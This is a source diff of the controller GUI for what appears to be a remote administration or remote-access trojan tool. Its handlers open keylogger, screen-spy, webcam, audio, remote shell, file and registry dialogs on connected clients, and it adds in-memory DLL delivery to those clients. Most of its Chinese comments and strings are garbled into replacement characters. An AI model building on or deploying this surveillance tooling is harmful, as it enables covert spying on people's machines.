std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"}, {SOFTWARE_TELEGRAM, "<EFBFBD>籨" }};
|
||||
std::string str = myMap[n];
|
||||
LVCOLUMN lvColumn;
|
||||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||||
lvColumn.mask = LVCF_TEXT;
|
||||
lvColumn.pszText = (char*)str.data();
|
||||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||||
timeBeginPeriod(1);
|
||||
#ifdef _DEBUG
|
||||
SetTimer(TIMER_CHECK, 60 * 1000, NULL);
|
||||
#else
|
||||
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
||||
#endif
|
||||
|
||||
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
||||
}
|
||||
@@ -575,6 +648,19 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
|
||||
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
{
|
||||
if (nIDEvent == TIMER_CHECK)
|
||||
{
|
||||
if (!CheckValid())
|
||||
{
|
||||
KillTimer(nIDEvent);
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
dlg.DoModal();
|
||||
if (hashSHA256(dlg.m_str.GetString()) != std::string(skCrypt(MASTER_HASH)))
|
||||
return OnMainExit();
|
||||
MessageBox("<EFBFBD>뼰ʱ<EFBFBD>Ե<EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ: <20>ڹ<EFBFBD><DAB9>߲˵<DFB2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɿ<EFBFBD><C9BF><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -582,11 +668,11 @@ void CMy2015RemoteDlg::OnClose()
|
||||
{
|
||||
// <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
|
||||
ShowWindow(SW_HIDE);
|
||||
OutputDebugStringA("======> Hide\n");
|
||||
Mprintf("======> Hide\n");
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::Release(){
|
||||
OutputDebugStringA("======> Release\n");
|
||||
Mprintf("======> Release\n");
|
||||
isClosed = TRUE;
|
||||
ShowWindow(SW_HIDE);
|
||||
|
||||
@@ -601,13 +687,19 @@ void CMy2015RemoteDlg::Release(){
|
||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Sleep(200);
|
||||
Sleep(500);
|
||||
|
||||
if (m_iocpServer!=NULL)
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
delete m_iocpServer;
|
||||
m_iocpServer->Destroy();
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
g_2015RemoteDlg = NULL;
|
||||
SetEvent(m_hExit);
|
||||
CloseHandle(m_hExit);
|
||||
m_hExit = NULL;
|
||||
Sleep(500);
|
||||
|
||||
timeEndPeriod(1);
|
||||
}
|
||||
|
||||
@@ -683,6 +775,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||
|
||||
*pResult = 0;
|
||||
@@ -837,14 +930,106 @@ VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
std::vector<std::string> splitString(const std::string& str, char delimiter) {
|
||||
std::vector<std::string> result;
|
||||
std::stringstream ss(str);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delimiter)) {
|
||||
result.push_back(item);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string joinString(const std::vector<std::string>& tokens, char delimiter) {
|
||||
std::ostringstream oss;
|
||||
|
||||
for (size_t i = 0; i < tokens.size(); ++i) {
|
||||
oss << tokens[i];
|
||||
if (i != tokens.size() - 1) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ԫ<EFBFBD>غ<EFBFBD><D8BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӷָ<D3B7><D6B8><EFBFBD>
|
||||
oss << delimiter;
|
||||
}
|
||||
}
|
||||
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
|
||||
bool CMy2015RemoteDlg::CheckValid() {
|
||||
DateVerify verify;
|
||||
#ifdef _DEBUG
|
||||
BOOL isTrail = verify.isTrail(0);
|
||||
#else
|
||||
BOOL isTrail = verify.isTrail(14);
|
||||
#endif
|
||||
|
||||
if (!isTrail) {
|
||||
auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp();
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD>
|
||||
CPasswordDlg dlg;
|
||||
static std::string hardwareID = getHardwareID();
|
||||
static std::string hashedID = hashSHA256(hardwareID);
|
||||
static std::string deviceID = getFixedLengthID(hashedID);
|
||||
CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, "");
|
||||
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
dlg.m_sPassword = pwd;
|
||||
if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty())
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>20250209 - 20350209: SHA256
|
||||
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
|
||||
if (v.size() != 6)
|
||||
{
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
MessageBox("<EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
std::vector<std::string> subvector(v.begin() + 2, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash();
|
||||
std::string finalKey = deriveKey(password, deviceID);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
if (hash256 != fixedKey) {
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) {
|
||||
if (!dlg.m_sPassword.IsEmpty())
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
auto pekingTime = ToPekingTime(nullptr);
|
||||
char curDate[9];
|
||||
std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
|
||||
if (curDate < v[0] || curDate > v[1]) {
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
if (dlg.m_sPassword != pwd)
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, dlg.m_sPassword);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
{
|
||||
// <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD><EFBFBD>"<22><>
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if<69><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>Ӧ<EFBFBD>ط<EFBFBD><D8B7><EFBFBD><EFBFBD>ɡ<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><CEA7>ȷ<EFBFBD><C8B7>һ<EFBFBD><D2BB>һ<EFBFBD>룻<EFBFBD><EBA3BB>Ȩ<EFBFBD><EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>۸<EFBFBD>!
|
||||
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>θ<EFBFBD><CEB8><EFBFBD>Ȩ<EFBFBD><EFBFBD>.
|
||||
// 2025/04/20
|
||||
if (!CheckValid())
|
||||
return;
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuildDlg Dlg;
|
||||
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
|
||||
CString Port;
|
||||
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
|
||||
Dlg.m_strPort = Port;
|
||||
int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
|
||||
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
||||
Dlg.DoModal();
|
||||
}
|
||||
|
||||
@@ -857,6 +1042,8 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
|
||||
continue;
|
||||
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("<EFBFBD><EFBFBD>"))
|
||||
{
|
||||
continue;
|
||||
@@ -900,6 +1087,21 @@ void CMy2015RemoteDlg::OnMainSet()
|
||||
{
|
||||
m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||
}
|
||||
int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5"));
|
||||
int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
|
||||
return;
|
||||
}
|
||||
|
||||
LVCOLUMN lvColumn;
|
||||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||||
lvColumn.mask = LVCF_TEXT;
|
||||
lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer();
|
||||
CLock L(m_cs);
|
||||
m_settings.ReportInterval = m;
|
||||
m_settings.DetectSoftware = n;
|
||||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||||
SendMasterSettings(nullptr);
|
||||
}
|
||||
|
||||
|
||||
@@ -925,16 +1127,14 @@ BOOL CMy2015RemoteDlg::ListenPort()
|
||||
|
||||
BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
{
|
||||
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
assert(m_iocpServer);
|
||||
UINT ret = 0;
|
||||
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||
{
|
||||
OutputDebugStringA("======> StartServer Failed \n");
|
||||
Mprintf("======> StartServer Failed \n");
|
||||
char code[32];
|
||||
sprintf_s(code, "%d", ret);
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -947,7 +1147,10 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
|
||||
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
if (!g_2015RemoteDlg)
|
||||
return;
|
||||
|
||||
AUTO_TICK(50);
|
||||
|
||||
switch (ContextObject->v1)
|
||||
{
|
||||
@@ -1005,8 +1208,20 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject);
|
||||
default: {
|
||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (hEvent == NULL) {
|
||||
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
|
||||
return;
|
||||
}
|
||||
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
|
||||
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
|
||||
CloseHandle(hEvent);
|
||||
return;
|
||||
}
|
||||
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
|
||||
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1020,6 +1235,8 @@ struct dlgInfo
|
||||
|
||||
VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
if (!g_2015RemoteDlg)
|
||||
return;
|
||||
dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL;
|
||||
|
||||
SOCKET nSocket = ContextObject->sClientSocket;
|
||||
@@ -1031,17 +1248,40 @@ VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam) {
|
||||
HANDLE hEvent = (HANDLE)wParam;
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
MessageHandle(ContextObject);
|
||||
if (hEvent) {
|
||||
SetEvent(hEvent);
|
||||
CloseHandle(hEvent);
|
||||
}
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
if (isClosed) {
|
||||
return;
|
||||
}
|
||||
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||
{
|
||||
case COMMAND_BYE:
|
||||
case TOKEN_HEARTBEAT: case 137:
|
||||
UpdateActiveWindow(ContextObject);
|
||||
break;
|
||||
case SOCKET_DLLLOADER: {// <20><><EFBFBD><EFBFBD>DLL
|
||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||||
int connNum = 0;
|
||||
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
SendServerDll(ContextObject, is64Bit);
|
||||
break;
|
||||
}
|
||||
case COMMAND_BYE: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||||
closesocket(ContextObject->sClientSocket);
|
||||
@@ -1049,58 +1289,58 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
break;
|
||||
}
|
||||
case TOKEN_KEYBOARD_START: {// <20><><EFBFBD>̼<EFBFBD>¼
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_LOGIN: // <20><><EFBFBD>߰<EFBFBD> shine
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO:
|
||||
case TOKEN_BITMAPINFO: // Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRIVE_LIST:
|
||||
case TOKEN_DRIVE_LIST: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_TALK_START:
|
||||
case TOKEN_TALK_START: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SHELL_START:
|
||||
case TOKEN_SHELL_START: // Զ<><D4B6><EFBFBD>ն<EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WSLIST: //wndlist
|
||||
case TOKEN_PSLIST: //processlist
|
||||
case TOKEN_WSLIST: // <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
case TOKEN_PSLIST: // <20><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_AUDIO_START:
|
||||
case TOKEN_AUDIO_START: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_REGEDIT:
|
||||
case TOKEN_REGEDIT: // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SERVERLIST:
|
||||
case TOKEN_SERVERLIST: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WEBCAM_BITMAPINFO:
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -1116,7 +1356,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
return -1;
|
||||
}
|
||||
|
||||
CString strToolTipsText;
|
||||
try
|
||||
{
|
||||
|
||||
@@ -1130,13 +1369,18 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char buf[100];
|
||||
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
|
||||
OutputDebugStringA(buf);
|
||||
Mprintf(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
||||
|
||||
auto curID = GetMasterId();
|
||||
ContextObject->bLogin = (LoginInfor->szMasterID == curID || strlen(LoginInfor->szMasterID)==0);
|
||||
if (!ContextObject->bLogin) {
|
||||
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
|
||||
}
|
||||
strIP = inet_ntoa(ClientAddr.sin_addr);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -1146,12 +1390,18 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
strOS = LoginInfor->OsVerInfoEx;
|
||||
|
||||
//CPU
|
||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||
if (LoginInfor->dwCPUMHz != -1)
|
||||
{
|
||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||
}
|
||||
else {
|
||||
strCPU = "Unknown";
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>
|
||||
strPing.Format("%d", LoginInfor->dwSpeed);
|
||||
|
||||
strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
||||
strVideo = m_settings.DetectSoftware ? "<EFBFBD><EFBFBD>" : LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
||||
|
||||
strAddr.Format("%d", nSocket);
|
||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,
|
||||
@@ -1159,7 +1409,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
delete LoginInfor;
|
||||
return S_OK;
|
||||
}catch(...){
|
||||
OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n");
|
||||
Mprintf("[ERROR] OnUserToOnlineList catch an error \n");
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
@@ -1167,7 +1417,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
OutputDebugStringA("======> OnUserOfflineMsg\n");
|
||||
Mprintf("======> OnUserOfflineMsg\n");
|
||||
CString ip, port;
|
||||
port.Format("%d", lParam);
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -1259,6 +1509,64 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
||||
Heartbeat hb;
|
||||
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
|
||||
|
||||
// <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
HeartbeatACK ack = { hb.Time };
|
||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
}
|
||||
|
||||
CLock L(m_cs);
|
||||
int n = m_CList_Online.GetItemCount();
|
||||
DWORD_PTR cur = (DWORD_PTR)ctx;
|
||||
for (int i = 0; i < n; ++i) {
|
||||
DWORD_PTR id = m_CList_Online.GetItemData(i);
|
||||
if (id == cur) {
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||||
if (hb.Ping > 0)
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
